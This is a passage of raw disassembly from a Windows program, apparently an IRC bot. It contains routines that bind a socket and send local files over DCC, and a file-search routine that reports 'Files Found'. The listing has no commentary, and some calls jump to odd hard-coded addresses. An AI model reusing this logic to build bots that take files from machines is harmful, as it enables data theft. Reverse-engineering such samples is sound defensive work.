ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi call near ptr 71AB3B91h nop mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5EE1E5 add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi call near ptr 71AB3E00h nop test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx call near ptr 71AB2B66h nop lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax call near ptr 2880000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5EE1E5 add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi nop call near ptr 2870BEAh lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60CD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax call near ptr 71AB2BC0h nop push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A30 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2870000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 2860414h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 2860000h lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi call near ptr 2850431h nop loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx call near ptr 71AB9639h nop push 1 call near ptr 2850431h nop loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443B04 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F74 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5EE1E5 mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call 